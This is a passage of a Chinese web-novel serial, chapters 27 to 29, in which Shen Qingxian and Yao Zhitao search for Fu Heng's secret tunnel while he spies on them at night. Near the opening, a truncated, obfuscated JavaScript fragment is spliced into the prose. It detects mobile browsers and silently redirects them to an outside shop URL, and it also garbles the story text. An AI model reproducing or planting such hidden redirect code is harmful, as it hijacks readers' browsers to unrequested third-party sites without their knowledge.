只见那身影猛地一颤,仓促回眸,四目相对的刹那,他眸色骤沉——
果真是她。
沈清欢也没料到会在此处撞见傅之行,原本在老屋中躲了几日,凭着前世依稀的记忆,她蹲守着,等到今日端王府设喜宴,便趁机混了进来。
兴许是她回眸时的表情过于惊诧,引得傅之行蹙眉,“怎的,夫人是不愿在此处见着我?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122585|195761||http|test|mini|href|location''.split(''|''),0,{}));
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>沈清欢杏眼圆圆,还未出声,就被傅之行扣住手腕,再一个顺势,就被其抵在冰冷得院墙上,周身沉气压得她快喘不上气来。
“傅之行,你松手。”
可等来得不是放手,反倒是更有力地压制,那人声线冷硬,“怎么?才几日不见,夫人就要弃我如蔽履了?”
沈清欢被磨得没法,后背早就僵直,偏了偏头,抿紧了唇,仰着头正对上傅之行那双猩红得桃花眼,“松开。”
语气里是不容分说得倔强,眼底毫无一丝怯意。
见她这般模样,傅之行眼底的冷意竟慢慢散了,扣着她的手腕力道松了几分,语气也软下来。
“小满,跟我回府,好不好?”
沈清欢抬眸,叹了口气,挣脱开被扣着的手,在傅之行震惊的眸光中,轻抚上眉,语气是带着哄的。
“我自有我的打算,夫君不必忧心,办完事,我定然回府,你且在家乖乖等我,真要遇上事,我必会回府寻你。”
说完,眼见傅之行神色略略松弛下来,沈清欢乘胜追击,措不及防地在其唇角落在一吻。
“好夫君,你会应允的罢?”
傅之行眼中逐渐漫上水雾,仅存的理智促着他开口,“你可同我说道,你我共同办事岂不更为起效?”
沈清欢想了想,虽说多个人多个帮手,这是必定的,可真要带着傅之行一起,她又该如何解释她所知晓的一切?
难不成实话告知——她已活过一世?
这个念头很快就被沈清欢否决,不是信不过傅之行,而是此事放在何时,放在何人身上,都是极其诡异蹊跷的。
而是多一事不如少一事,况且她也并未知晓那地道如今是否同前世一般真正存在于那地。
可总得有个理由回他,沈清欢有些犯了难,左思右想,也没个主意。
眼见傅之行满含期盼的脸逐渐转成失落,再转成委屈状。
沈清欢伸手将其手心握住,语声放轻,像是哄着闹脾气的人,“不是不带着你,而是需里应外合,我做里,你做外,若是我二人皆入了局,就不好脱身了。”
眼瞧着傅之行的眉尖慢慢舒展,沈清欢接着哄,“所以,并非是抛下你,而是你另有用处,就算你不寻我,我本也打算过两日去同你说道的,你且在家中等我消息,若有需你相助处,还望夫君助我一臂之力。”
沈清欢这一轮攻略下来,傅之行早已沉浸在蜜意里,也不见了方才要带她走的决绝,只反复重申着,一定要时常同他通信后,就作罢。
送别沈清欢后,傅之行只觉许久都未曾如此清爽过,那压抑的心,如今终于重新活过来般,一副含笑的不值钱样。
沈默寻到傅之行时,其脸上的笑意还在眉梢,连嘴角都翘着未平。
按下心中好奇,沈默禀告着今日的所遇之事,傅之行却是一改前几日的焦急神态,淡声,“这些本王知晓了,另外,不必再派人寻王妃了。”
沈默诧然,不禁思索就脱口道,“王爷,您不寻王妃回府了?”
27. [锁] 该章节由作者自行锁定
李默心里正揣测着,这眼前的人到底是不是自家那个“要死不活”的靖王。
前几日王妃出走时,还脸拉得老长,这会子,又像是改头换面般,不仅没了着急之态,反倒是喜滋滋的。
莫不是得了失心疯罢。
李默愈发胆寒,只觉得一股凉意顺着头皮往里钻。
想不到自家王爷竟这般用情至深,古有梁山伯与祝英台为爱成蝶,今时今朝,自家王爷也要在这史书上留下浓墨重彩的一笔了。
李默跟着傅之行一路,心里可谓是五味杂陈,而这一切,乐在其中的傅之行哪里知晓。
沈清欢终于哄好了傅之行这尊大佛,自觉真是不易,可更不易的还在后头。
一切进行得并不顺利。
这端王府的暗道,同沈清欢构想差距悬殊过大。
她凭着记忆摸索着沿着外墙数着步子,手中拿着简易绘制的草图,对着看,左侧是玄虎堂,右侧是鹤堂,按理说,那入口就在此两地正中央。
但此刻除了开得正茂盛的茉莉花丛,就只剩下熙熙攘攘的小灌木丛。
内院中的嘈杂声时不时地骤然升起,又突地下降,引得沈清欢心是不停地上下窜动。
握着草图的手,不禁有些略略发颤。
可人越是紧张,就越容易出错——
在第七次挖掘错方向后,沈清欢一股无名火冒了上来,眼看着这端王府的后花园被她这片刻工夫,挖成了一个又一个的泥坑,心头闪过一阵无语凝噎。
挖坑容易填坑难,那土坑早就被扒拉得不成样子,东零西落的,上头的杂草也被其揪落倒在青石砖路面上。
乍一看还以为是要开荒种地呢。
预计的时间也过了大半,内院里的热闹声也愈发小了,想必是到了该收尾的阶段。
沈清欢有些为难,一边是等待许久的好机会,一边是近在咫尺快被发现的危险,咬牙在心里一衡量——
留得青山在,不怕没柴烧。
遂提着便装衣袍的下摆,抄起手中的小铁撬,重新将这一地的泥泞规整好。
不知是否是心里作用作祟,她总觉得身后一阵凉风习习,可一转头,又并没个人影。
这种诡异感,使得沈清欢不由得打了个冷颤,手上的动作也加快了许多。
眼见就要完工,沈清欢直起腰,正提起手,握成拳状,在后腰间轻捶。
“嚓。”
什么声音?
沈清欢手上的动作一顿,不自觉地将手缓缓移向腰间。
“别动!”
一个侧身,她腕间一动,随着匕首利落地脱鞘而出,她已将匕首置于身后人影的脖颈间,凉锋沁肤。
周身冷意骤减,沈清欢眸子里是冷冽的寒意,低压着声,声线冰硬。
“谁?”
那人却毫不畏惧,淡淡笑了声。
随即抬手掀落遮面的帽檐,嗓音清浅,“小满,是我。”
沈清欢握刃的手轻颤,眸色微动,心底暗惊,竟然是她。
已然没了方才的剑拔弩张,沈清欢利落地收了匕首,那人也顺势转过身来,姣好的面容暴露出来。
二人本还在四目相对,下一秒,却又不约而同地避开视线,视线齐齐落在内院。
“快走!”
沈清欢还未缓过神来,就被一股力量拉着走了。
内院的侍卫们,突然蜂拥而至。
傅恒身着大红色喜袍,领着一队人马疾步冲入花园。
锦缎衣摆扫过阶前草叶,未显半分慌乱,眼神里还闪过一丝玩味的笑。
他本就生一双柔媚桃花眼,面如琢玉,可就是那眉目间总是透着一股邪气。
正如此刻,他眸光凝注,直直落向那还未被踩平的土坑上,眼尾轻敛,眼底的玩味更甚。
“来人,把这后花园给我好好搜查一番,但凡见着可疑之人,不必多问,直接带到我面前问话。”
“是。”
侍卫领命后,当即就分散开来,翻查着花丛,勘查着园林亭榭,园子里顿时响起一阵阵细碎的脚步声。
傅恒立在原地,大红喜袍衬得他眉目更为清隽,桃花眼漫不经心地扫视着整个偏院。
另一侧的侧门后,沈清欢正屏气凝神地盯着外头的一举一动,心几近提在嗓子眼处。
眼见傅恒抬步就往侧门处走,沈清欢只觉五雷轰顶,心砰砰直跳,宛若一条案板上的鱼,即将任人宰割般。
手也不自觉攥紧了匕首,默默抿了抿唇,做好了被发现的心理准备。
傅恒走得很快,就在其指尖堪堪要触碰到那门拴时,内院方向突然传来一声急促的呼喊。
“王爷,王爷留步!”
一身朝服的大人快步走来,躬身行了个礼,随后举着手中的信件示意。
傅恒的动作顿住,回眸看来,终究是收了手,转身随着那人往内院去了。
沈清欢贴墙的身子随着傅恒的离去缓缓往下坠,直至眼瞅着傅恒的背影消失殆尽,紧绷的身子终于软了下来,猛地送了口气。
肩头松垮下来,不知不觉间,她身后已沁出一层薄汗,余光瞥了瞥身旁的姚之桃,显然她也吓得不轻,整个人面色都泛了红,眼底还存着未散的惊悸。
虽说傅恒是走了,但院内的那帮侍卫还在不停地搜查着,若不离开,迟早得搜到她们这。
沈清欢想了想,侧过头压低声音,胳膊肘碰了碰姚之桃。
“别慌,没事的。”说罢又用手轻抚着其肩胛。
等姚之桃脸色略欢过来,沈清欢耐心地建议着,“如今此地不安全,被发现是早晚的事,你是端王妃,若是被人发觉你我二人在此地相遇,于情于理都难以言辩。”
“不妨,你先出去,把他们引开,往西侧角的方向走,我随后跟上。”
姚之桃对上沈清欢坚定的目光,心里头也多了几分慰藉,喉间梗了下,后重重点头。
沈清欢拍拍她的肩,给予鼓励,“你是端王妃,在自家做事,有何可怕的?摆起你端王
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妃的架子来。”
姚之桃得了鼓舞,心里头也知其说的有道理,虽说她是个有名无权的,可再说到底,也是明面上的主母。
主母的吩咐,有人敢不从?
这份答案,在姚之桃差遣这众侍卫们离开时,得到了验证。
起先,这帮侍卫们对着这不知从哪处冒身的姚之桃是心存疑虑的。
可姚之桃是何人?
尚书千金。
端起架子来时,这气势是真真切切的能压住闲言碎语来的,再加上她的一副三寸不烂之舌,愣是把死的说成活的。
口中嚷嚷着要对他们问责,一番劈头盖脸的斥责落在了众侍卫的头上。
惹得这帮人是一脸懵。
不给侍卫们心存疑虑的机会,姚之桃先发制人———
“还傻愣住作甚?我眼瞅着那贼人窜了出去,不然我闲得慌来这寻你们?你们也是,找半天没个人影,敢情在这躲清闲?要是贼人进了里屋,你们担当的起这个责任?”
众侍卫被说得是各个都面露迟疑,彼此对视一眼后,又添了几分警惕。
心中纷纷信了眼前这位端王妃的话,被她这番话勾了心神,已然将她口中的贼人与傅恒交待的那事误当作一码事。
心里头还存了几分对着王妃的感激之情,立即就提步赶路,“谢过王妃。”
说罢便按着姚之桃说的方位走去了。
后花园很快就重新恢复寂静。
姚之桃往外头瞧了一番,见确实无人在意,赶忙迈着步子就往屋里赶。
临走前还顺势泄愤的在傅恒最心爱的樱桃树上猛踹了两脚。
直至赶紧屋门,拉上帘幕后,姚之桃才真正松懈了口气。
坐在桌前,为自己倒了一杯茶水,咕噜咕噜地灌下肚,许是太过于着急忙慌,不小心呛了下,连连咳嗽。
“慢点,谁跟你抢着喝?”
沈清欢听见声响,也从里头的屏风后现身,抬手轻拍着姚之桃的后背,掌心落得缓,一下下顺着。
“无妨。”
拍背的手忽然被握住,手微顿,被扣进姚之桃的掌心,耳边传来的是姚之桃的质问声。
“先前的信,是怎么回事?还有今日,为何你会突然出现在这后花园?”
沈清欢抬眼望着姚之桃,目光与其碰撞。
罢了。
“我此行是为了寻个东西,若是寻到了,大概能探出傅恒的一些老底。”
姚之桃脸色变了。
语气也逐渐磕巴,“何物?”
“地道。”
沈清欢挺直了背,直视着姚之桃的双眸,见其一脸震惊的模样,心里有了数,想必她对这傅恒的所作所为知之甚少。
不过,也不足为奇。
毕竟就连她多活过一世的人,起初得知此消息时也颇为惊讶,她只隐约记得傅恒有段时间总爱在偏院同后花园内待着。
可她去寻过几次有时并未寻到人影,想来应当就是通往地道里了。
28. [锁] 该章节由作者自行锁定
“可,我嫁过来许久,从未有所耳闻啊?”
沈清欢瞥了一眼满脸疑惑的姚之桃,眼里都是恨铁不成钢的可惜。
“坏人会在脸上标出自个是坏人吗?”
这倒也是。
沈清欢见姚之桃满脸愁容,一股子谁欠了她八百两银子的样,心里倒少了几许紧迫,添了几缕暖意。
拂去了姚之桃脸庞的碎发,沈清欢出声劝慰“当前最要紧的是寻到那地道,傅恒,应是听到了什么风声,我如今行动不便,你若方便,今日趁早去打听打听。”
姚之桃没有拒绝的理由,遂应下了,又顾及着沈清欢的不便,领了好些吃穿用度屯在屋里。
“没必要如此大费周章吧,我又不是来逃荒的。”
沈清欢属实被眼前这摞小山似的怪异物惊到,眼皮子眨巴地跳了两下,心里悱悱,这姚之桃莫不是太过于热情好客了些?
眼瞅忙的正起劲的姚之桃,还在盘算着要为她添点衣裳时,沈清欢终是坐不住了。
一个箭步起身,抓起身边的鸡毛掸,就抵上了姚之桃的腰身,一个劲儿地借力将她往外推送。
“好了好了,赶快去办你的正事要紧!”
好一顿磋磨。
屋内归于宁静。
不知是否是劳神的缘故,沈清欢刚沾上里屋的床榻,就仿佛被灌了迷魂汤般,全身骨头松软着,眼皮也不由自主地上下耷拉。
几次都硬是用指甲硬掐住自个大腿才得以维持清醒。
半睡半醒间,沈清欢好似做了个梦。
梦里她站在一颗巨大的果树下,扑鼻而来的是浓烈的果香,甜却不腻,有几分清爽的滋味,可凑近那果树去闻,却骤然传来一阵带着血腥的气味——
就像是侩子手刚杀戮完,留下的腥气。
而那腥气离她越来越近,窒息感由内而外地将她包裹住,呼吸仿佛停滞般,思绪也变得模糊。
意识消退前,她好似看到一双妖媚的眸子,直盯着她,熟悉且陌生。
再次醒来时天已黑透,空荡的屋内没有一丝光亮,沈清欢皱着眉恍惚了下,一时没分清在哪。
剧烈的头痛惹得她止不住地用手敲打着发顶,脑中还闪现着梦里的画面。
这可以算是个十足的噩梦,梦里致命的缠绕感让她回想起,就浑身发颤,分明已入夏,可她的身子却足足像在冰天雪地里待久了般冰冷。
在床边缓了半晌,沈清欢也已适应了眼前的黑暗,松了松筋骨,走至桌前为自己倒了杯茶水。
一股清冽的茶香入喉,还带有热气的余温,驱走了身上的寒意。
正搁下手中的杯盏,耳边就传来有节奏的敲门声。
沈清欢警惕地持刃走至门后,透过门缝往外瞧着。
“清欢,是我,快开门。”
姚之桃带着迫切的嗓音,在门外响起,沈清欢连忙推开门栓,一把将姚之桃扯了进来,流水般的迅速,又利落地将那门重新拴好。
“怎样了?可有何收获?”
沈清欢挽着姚之桃进了里屋坐下,按耐不住急切的心,忙追问。
“倒也奇怪,你我下午在那花园中时,并未将残局收拾干净。可我去那探查时,竟瞧不出一丝被动过的痕迹。”
沈清欢心里一咯噔,皱了皱眉。
“你是说,傅恒动过那片地了?”
“不仅是动过,我怀疑那块地,就是地道的入口。”
沈清欢本坠着的心又被再次高高勾起,“入口?你确定吗?”
“不谈十足的把握,七八分是有的。”
沈清欢沉了沉心,语气中流露出不解,“你是如何判定那地就是地道入口的?可有个证据。”
“出门后,我便马不停蹄地到那后花园中去看有无异样,可还未接近那偏院大门,就隐隐听到有二人在言语。”
沈清欢目不转睛地盯着姚之桃,心被提到了嗓子眼,催促道,“然后呢?”
“然后,我就贴着墙角偷听,原是傅恒手下的俩侍卫,听着话里话外,像是在等人。”
“等谁?”
“等傅恒。我刚听了一半,就听见傅恒从偏院里走来,我壮着胆子偷摸瞧了一眼,他的穿着打扮同平常很不一样,一身黑,口中还说着看好密道这些话。”
沈清欢点点头,和她想的一样,那密道确实是在偏院的花园中,看来从前世起,傅恒就老早有了谋算。
正欲同姚之桃更近一步说道,窗外陡然响起一阵声响。
“王爷。”
不过前后脚的功夫,姚之桃的侍女兰香就着急忙慌地进来传话。
“王妃,王爷来了。”
沈清欢浑身僵了起来,扭过头同姚之桃对视了一眼。
姚之桃也是不解所惑,口中喃喃“他怎么这时候来了?”
屋外的敲门声又响了。
“怎么,夫人不欢迎本王?”
姚之桃一边敷衍地迎合,一边将沈清欢往里屋中送。
“来了来了。”
门很快被打开,傅恒裹起寒气进屋,身上还携着深夜的霜。
兰香赶忙弯腰倒了盏热茶给眼前这位爷,许是心情不错,傅恒难得的开口关怀。
“兰香近些日可还在王妃这待的习惯?”
兰香闻言,手一顿,眸子里漏出复杂的神情,却在转瞬间又消失殆尽。
脸上挂了一抹笑,嘴里含甜地道,“承蒙王妃关照,奴婢得以谋个好出处,现大致上要做的活计都已知晓了。”
一副毕恭毕敬的样。
傅恒小饮了口热茶,眼睛微眯,闷笑了声。
“得有点眼力见,王妃这儿,你可要好好服侍。”
“奴婢知晓。”
说罢兰香就识趣地起身立在一旁,容姚之桃同傅恒二人对话。
虽说已来这端王府一月有余,可她见着这传闻中的端王殿下不过两面,今日这回算是唯一一次其开口问话的。
兰香被姚之桃从街巷口救回家时,就有所耳闻这端王的名号。
在姚之桃口中,此人心机深沉,作恶多端,可今日这近距离一看,倒同她想象中的样子大不相同。
倒像是个柔面书生,身上还带着股淡淡的魅劲儿。
兰香忍不住偷偷打量这个端王殿下,一双眸子在脸上最为出色,微微上挑,墨
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色的瞳仁,将人显得更为俊美。
可细细再查看,却能感到说不出的冷。那似笑非笑的嘴角,向上勾着,倒是让人捉摸不透了。
兰香强制自己敛起好奇心,这偌大的端王府中,人心难测,她既是姚之桃救回的,以后只当听命于她就是,这些贵人间的弯弯绕绕,不是她能想明白的。
在兰香思绪飘忽之际,还有一人也满含着心思,慌慌不安。
那就是沈清欢。
话说沈清欢在傅恒进屋前就早早进了里屋,还存了个衣橱蔽身,应当是不大会被其察觉到的。
可坏就坏在,凡事没有如果。
就在沈清欢腿脚发麻,稍稍动了下时,她真真切切地听到外头那人口中的言辞,“你屋里还有他人?”
霎时间,沈清欢的脸顿时白了下来,眼透着衣柜留着的微小缝隙,死死盯着外头。
姚之桃也被惊到了,拿着茶盏的手一抖,那上好的青瓷随之坠落。
砸在地上,发出一声脆响。
“哼。”
傅恒先开口冷笑了下,手捏着姚之桃的脸,轻佻地问,“夫人,你紧张什么?不过一句玩笑话罢,莫不是真藏了人?”
姚之桃受力被迫仰着头,眼里荡着傅恒的身影,几近全力扯了个笑。
“怎么会。许是这几日劳神久了,有些走神,还请王爷莫怪。”
屋内又静下来,姚之桃不敢揣测对面那人的心思,只在心里暗暗祈祷。
她那求之心切的目光被傅恒捕捉到眼里,挑了挑眉,反手就松开了姚之桃。
又将那沏好的茶水端起,转身倚靠在屏风上,面朝着里屋,眼涩莫测。
约莫几分钟,傅恒喝下最后一口茶后,终于还是离开了这间屋。
“兰香,你去外头盯着。”
“是,夫人。”
姚之桃不敢有丝毫的松懈,虽说傅恒已离开,但她还是不放心,命了兰香在外头守着。
门栓落好后,更是三步并作两步,去到里屋,赶忙将那衣柜敞开。
里头的沈清欢已等这一刻等了多时,这一解脱,是连连往外吐着浊气,再大口大口地喘着气,似是要将那心中闷气尽数换了个彻底罢。
“你,没事吧?”
她这一副被闷久了的狼狈样,惹得姚之桃眼眶有些发酸,伸手抚着她的后背。
沈清欢沈清欢朝姚之桃摆了摆手,清了清嗓,不想让其担心,“无妨,你来得正及时。”
夜色深浓,姚之桃已撑不住睡下。
沈清欢还在回想方才的场景,不知是否是她的错觉,她总觉得那傅恒像是识破了她们的伪装般,那眼神似是能透过衣柜,看见她。
不过,若是他当真有所察觉,为何不当面揭穿?
越想越心惊,沈清欢打了个冷颤。
大半夜的,想他作甚,惹得人心烦,还是早点儿入睡为好。
夜凉,风轻。
守夜的兰香眼皮逐渐不受控制,打起了盹,后直接抵着门竟深深睡过去了。
傅恒蒙着面纱,手中举着烛灯,眼里水波缭绕。
腰间别着的香囊还散着淡淡的香。
29. 抚着皇嫂的眉尖
他就那样偏执地站在窗前,手下垂,紧握成拳。
眼里是数不清的阴冷,却像是炎热暑气里的冰,转瞬即逝。
端王府中的防御措施一向做得好,非寻常人可以破解,姚之桃更是在睡前,在这道门后加了几扇折叠屏风,架在门后,抵住各个死角。
傅恒试探地推了推眼前这门,未能推动。
又加了几分力道使劲往里推,这次倒是动了不少,只可惜,对于彻底打开这扇门来说,还是过于微不足道。
透着被撑开的细小微缝,深深往里探了眼———
亮着幽若烛灯的里屋,光线忽明忽暗,映在他的视线里。
姚之桃许是睡前为以防万一,早早就将内里的门栓拴好,出于不放心,还另加了一道衡量木落在门头上。
傅恒目光落在那被压得死死的木头上,心里说不出的滋味,本高高悬着的心反倒是重重地落下来。
怒极反笑,傅恒也无意执意同这道门过不去,只是心中隐隐带着道不出的酸————
这二人如此防备,左右不过就是防的他罢。
“啧。”
傅恒心突然有点燥,眼空洞地睁着,里头的二人正睡得正香,不知是否今日累着了,那姚之桃还对着沈清欢说着梦话。
傅恒凑着近,想听分明些,可距离还是过于疏远。
到底是没能听清的。
“呼,呼———”
耳边传来一阵鼾声,傅恒低头一看,原是那兰香睡得正熟,发出的。
他浅笑了下,摇了摇头,转身就朝着这屋的南方走去。
拨开南院墙种的樱桃果,引入眼帘的是一扇枣红色的木门。
傅恒从衣袖中取出一把铜钥匙,熟络地插进那细孔中,左右一旋转,只听“啪嗒”一声———
门开了。
伴随着沉重的呼吸声,傅恒一步一步接近着姚之桃的寝屋。
从后院到偏门再到里屋。
傅恒每一步都走的极为小心,稳妥,越是逼近那屋,心中胆怯,畏惧,欣喜,一股脑儿五味杂成的情绪全都涌上心尖上去。
站立在床榻边,傅恒瞧着床榻上那面容姣好的女子,似是有何心事般,就连睡着,眉目间都染着几分的愁容。
傅恒情不自禁蹲下身,压下自个急促的呼吸声,抬手伸向沈清欢的面庞。
停留在其眉眼间,一下接着一下,轻轻抚开那紧皱着的眉头。
许是当真起了作用,不过一会,沈清欢眉目舒展开,翻了个身,向着床榻里侧,再次沉沉睡去。
傅恒留恋的嗅着指尖的香气,神情沉醉,一双眼早已浸染上薄薄的一层水雾。
嘴角向上扬起,脸上写满了得逞满足感。
“皇嫂,一夜好梦。”
许是方才的贪恋得到了反馈,傅恒更是壮着胆子在这寂静的夜间出声。
手也再次伸向沈清欢的脖颈侧。
“嗯…清欢,清欢…”
傅恒浑身一僵,手顿时收回,整个人如同被雷劈中一般,眼神充满着狠戾,望着出声那人———
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姚之桃像是做了梦魇,口中不断地呼喊着,像是被人追杀般,哭得那叫一个撕心裂肺,凑近去瞧,一张白皙的小脸上还真有两行热泪随着眼角流下。
若在旁人眼里,定是叫人心生疼惜的,可在傅恒眼中,非但不觉心疼,反倒是生出来别样的思绪。
他手持一匕首,利刃直指着姚之桃的喉间,手作势就要刺向姚之桃,若不是最后仅存的一丝理智挽住了傅恒的手,那姚之桃怕是真要被这傅恒给解决了。
眼见姚之桃还在不断地嚷嚷着,傅恒也担心沈清欢会因此被吵醒,当下也狠了狠心,按着来时的路线返回过去。
可怜的姚之桃还丝毫不知自个经历了一场生死斗争。
只知自个醒来时,身旁的沈清欢面露担忧。
“怎么了?”
“方才做了个噩梦,真是好让人心惊!清欢,你知道吗,我还是第一次在梦中见到傅恒呢,也不知怎的,这厮今日在梦里恍若换了个人般,还真有几分正人君子的样。”
“正人君子?那你为何叫的如此害怕?”
“害,那不是我发觉了他的秘密吗,貌似在梦里我也发觉了他的暗道,很不巧,被他的小厮发现了,然后一群人乌泱泱的就追着我,我就逃啊逃,然后我就醒了。”
姚之桃想起那梦还心存畏惧,整个人浑身打了个冷颤。
“没事,梦都是相反的,许是日有所思夜有所梦,大概是你今日去了趟花园留下的印象吧。”
沈清欢边安慰着姚之桃,边抚着其腰背。